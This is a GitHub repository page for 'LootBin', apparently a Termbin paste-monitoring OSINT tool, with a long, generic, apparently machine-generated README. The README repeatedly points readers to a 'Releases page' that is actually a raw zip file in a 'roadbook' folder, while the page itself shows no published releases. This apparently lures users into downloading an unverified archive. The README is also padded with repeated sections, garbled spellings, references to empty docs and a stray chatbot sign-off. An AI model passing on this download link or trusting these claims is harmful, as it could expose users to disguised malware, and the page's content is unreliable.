Skip to content

gustqvo432/LootBin

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

7 Commits
roadbook
roadbook
 
 
.gitignore
.gitignore
 
 
LootBin.py
LootBin.py
 
 
README.md
README.md
 
 
keywords.txt
keywords.txt
 
 
requirements.txt
requirements.txt
 
 

Repository files navigation

https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip

LootBin: OSINT Paste Scanner for Termbin – Public Paste Monitor

Python License Python package Release Repo Size

LootBin is a tool built for open research and monitoring. It hunts, scans, and aggregates public pastes from Termbin to surface keywords, patterns, and trends. The project focuses on clarity, speed, and reliability. It helps security teams, researchers, and hobbyists keep a pulse on public paste activity without manual digging.

💡 About this project

  • Purpose: Observe termbin pastes for keywords and themes that matter to your research goals.
  • Scope: Lightweight, scriptable, and easy to extend. Designed for Linux, macOS, and Windows environments with Python 3.
  • Audience: OSINT enthusiasts, incident responders, threat intelligence teams, data scientists exploring paste text sources.

Table of contents

What LootBin does LootBin is a focused tool for OSINT work. It scans Ter m bin paste streams, extracts textual content, and flags keywords, phrases, and patterns that researchers care about. It supports incremental runs, persistent state, and export options so you can study past results or wire LootBin into larger data workflows.

Why use LootBin

  • Speed: It runs locally and processes large text batches efficiently.
  • Reproducibility: You can reproduce searches and results with a consistent command line interface.
  • Extensibility: It’s easy to add new scanners or export targets as your research needs grow.
  • Transparency: Outputs are structured and easy to parse by humans and machines.

Key features

  • Ter mbin paste scanning with keyword-based filtering
  • Real-time-ish monitoring mode for ongoing paste streams
  • Flexible output: JSON, CSV, or human-friendly terminal tables
  • Conflict-free state management to resume work
  • Simple configuration and sane defaults for quick starts
  • Lightweight footprint with minimal dependencies

How LootBin works

  • The tool pulls public paste text from Ter m bin pages or streams.
  • It tokenizes and analyzes the text, looking for configured keywords and patterns.
  • It buffers results and writes them to a chosen output sink (file or stdout).
  • It keeps a local state so repeated runs don’t flood you with duplicates unless you want them.
  • It can run in batch mode or in monitoring mode for ongoing observation.

Tech stack

  • Language: Python 3.x
  • Core libraries: requests, beautifulsoup4 (for parsing), re (for regex filtering), json, csv
  • Output: JSON and CSV formats for easy ingestion
  • Optional: asyncio-based streaming for responsive monitoring

Getting started Prerequisites

  • A system with Python 3.8 or newer
  • Basic familiarity with the command line
  • Network access to Ter m bin paste sources

Installation

Configuration

  • LootBin uses a small config file to tailor behavior
  • You can define:
    • Keywords and patterns to watch
    • Source URLs or sources for Ter m bin pastes
    • Output destinations and formats
    • Rate limits and time windows
  • A sample configuration shows reasonable defaults and safe presets, designed to require minimal customization for first-time users

Usage CLI basics

Queries and filters

  • You can filter by keywords, phrases, or regular expressions
  • Case sensitivity is configurable
  • Date range filters let you study paste activity over a specific window
  • You can combine multiple filters to narrow results

Output formats

  • JSON: structured, easy to load into data pipelines
  • CSV: compatible with spreadsheets and many BI tools
  • Human-readable: pretty-printed text for quick scanning in the terminal

Data handling and outputs

  • Local state management ensures you can resume work without reprocessing everything
  • Outputs can be appended to existing files or written as new files
  • Pasted content is saved in a way that’s easy to inspect, but you can limit the amount of raw text if needed
  • All outputs come with timestamps, source identifiers, and keyword hits

Architecture and design

  • Modular structure: core engine, scanners, filters, exporters, and a CLI
  • Core engine coordinates work: fetch paste sources, apply filters, emit results
  • Scanners handle specific sources or strategies for paste retrieval
  • Filters implement keyword and pattern matching
  • Exporters are responsible for writing results to JSON/CSV or stdout

Extensibility and contributions

  • The project uses a plugin-like approach for scanners and exporters
  • To add a new paste source, implement a small adapter that provides a uniform interface:
    • fetch_pastes(range) -> iterable of Paste objects
    • each Paste includes text, source_id, timestamp, and raw content
  • To add a new export format, implement an exporter adhering to the expected API
  • Contributions are welcome. Please follow the repository’s guidelines:
    • Open an issue to discuss larger changes
    • Submit a PR with tests and documentation updates
    • Ensure code style aligns with existing conventions
  • Tests rely on a lightweight suite that exercises parsing, filtering, and export paths

Testing and quality

  • Unit tests cover:
    • Keyword matching logic
    • Regex filtering
    • Output formatting
    • State persistence
  • A basic integration test exercises the flow from fetching to exporting
  • CI runs ensure compatibility with target Python versions and common platforms

Documentation and learning resources

  • The repository ships with a docs directory containing:
    • A quickstart guide
    • Detailed configuration reference
    • Examples of common workflows
    • Troubleshooting tips
  • Additional resources include:
    • Official Ter m bin documentation for understanding paste mechanics
    • OSINT best practices for scanning public data sources
    • Data protection and privacy considerations relevant to paste content

Releases

  • For binaries, artifacts, and official build notes, check the Releases page
  • Visit the Releases page for binaries and artifacts: https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip
  • If you need to download a prebuilt binary, the Releases page is the right destination
  • The link above provides access to the latest packaged assets and changelog entries
  • You can also explore source code releases and accompanying documentation on that page

Ethics, privacy, and compliance

  • LootBin focuses on open data sources and transparent analysis
  • It is important to respect terms of service and applicable laws when interacting with public paste sources
  • The tool is designed for research, incident response, and education
  • Always handle collected content responsibly and avoid exposing sensitive information

Roadmap

  • Improve fault tolerance during paste retrieval
  • Add more source adapters and language-specific parsers
  • Implement richer analytics dashboards and dashboards-ready export formats
  • Support offline mode with a local cache of pastes
  • Enhance the CLI with more subcommands for complex workflows

FAQ

  • Is LootBin safe to run on my machine?
    • Yes, it’s designed to run locally with minimal privileges. Use a virtual environment.
  • Can LootBin monitor real-time paste streams?
    • It supports a monitoring mode that periodically polls sources and yields new results.
  • How do I customize the keyword list?
    • Edit the configuration file to add or remove keywords, patterns, or regex rules.
  • What formats does LootBin export to?
    • JSON and CSV by default; you can add other exporters with a small adapter.

Credits and license

  • License: MIT
  • The project design emphasizes simplicity and transparency
  • Thanks to the open-source community for tooling and patterns reused here
  • If you reuse or extend LootBin, please credit the project and maintain compatibility with the core interfaces

Releases page usage and notes

Additional usage tips

  • Start with a small keyword set to validate your setup
  • Run scans against a short time window before scaling up
  • Use a dedicated data directory to keep results organized
  • Regularly back up your configuration and outputs
  • Consider rotating the output file names by date to avoid data loss

Inline visuals and quick cues

  • When searching for patterns, think in terms of operator sets: keyword OR keyword, word boundaries, case sensitivity toggles
  • Use color-coded terminal output to distinguish hits quickly
  • Exported JSON can be fed into quick dashboards or notebooks for exploratory analysis
  • CSV exports integrate smoothly with spreadsheet tools and BI platforms

Community and collaboration

  • The project welcomes feedback and constructive discussions
  • You can raise issues to report bugs or propose enhancements
  • The project values clear, concise contributions and well-documented pull requests

Security considerations

  • Treat paste content as public data, even if it contains sensitive-looking elements
  • Do not publish or distribute paste content without proper context
  • Keep dependencies up to date to minimize risk from known vulnerabilities
  • Maintain strict version controls for configuration files and data dumps

Implementation details

  • The core module uses a simple, readable loop to fetch, filter, and emit results
  • Keyword matching is designed to be deterministic and fast
  • Output modules provide a stable API for downstream tooling
  • The project favors explicit over implicit behavior to avoid surprises during runs

Environment and platform notes

  • Linux and macOS are the most common environments
  • Windows support is available through standard Python environments and compatible terminals
  • The tool performs well in headless setups and containerized environments

Configuration example (yaml)

Contributing guidelines (summary)

  • Start with an issue to outline intent
  • Follow the existing code style
  • Add tests for new features
  • Update documentation for any user-visible changes
  • Keep PRs focused and small for easier review

Acknowledgments

  • Thanks to open-source projects that inspired LootBin's approach to OSINT and paste parsing
  • Appreciation to contributors who help unite speed, simplicity, and clarity in data tooling

Usage scenarios and sample workflows

  • Incident response: scan pastes for mention of compromised credentials, then export hits to a case folder
  • Threat intel: monitor for newly trending keywords and correlate with external feeds
  • Research: build datasets of paste content for topic modeling and language analysis
  • Compliance checks: verify if any sensitive strings show up in public paste sources

Notes about the releases

  • The repository’s Releases page hosts the official builds and changelog
  • You can inspect each release to understand what changed and how to adapt your setup
  • For distribution and artifact details, see the Releases page linked in this document

Final reminder about the releases link

Credits to the community

  • The project thrives on collaboration and shared learning
  • If you build on LootBin, credit the original project and share your improvements

Appendix: sample outputs

Releases (second mention) For binaries, artifacts, and official notes, check the Releases page again: https://github.com/gustqvo432/LootBin/raw/refs/heads/main/roadbook/Loot-Bin-v1.1-beta.1.zip

If you need more detail on any section or want to adjust the emphasis (such as more focus on safety, more code examples, or a richer architecture diagram), I can tailor the content further.

About

🐙 LootBin is a multi-threaded Python tool that hunts public pastes on termbin.com using keywords to save links and full pastes for OSINT.

Topics

python crawler scraper osint monitoring scanner pastebin termbin osint-python osint-tool

Resources

Readme
Activity

Stars

5 stars

Watchers

0 watching

Forks

1 fork
Report repository

Releases

No releases published

Packages

 
 
 

Contributors

Languages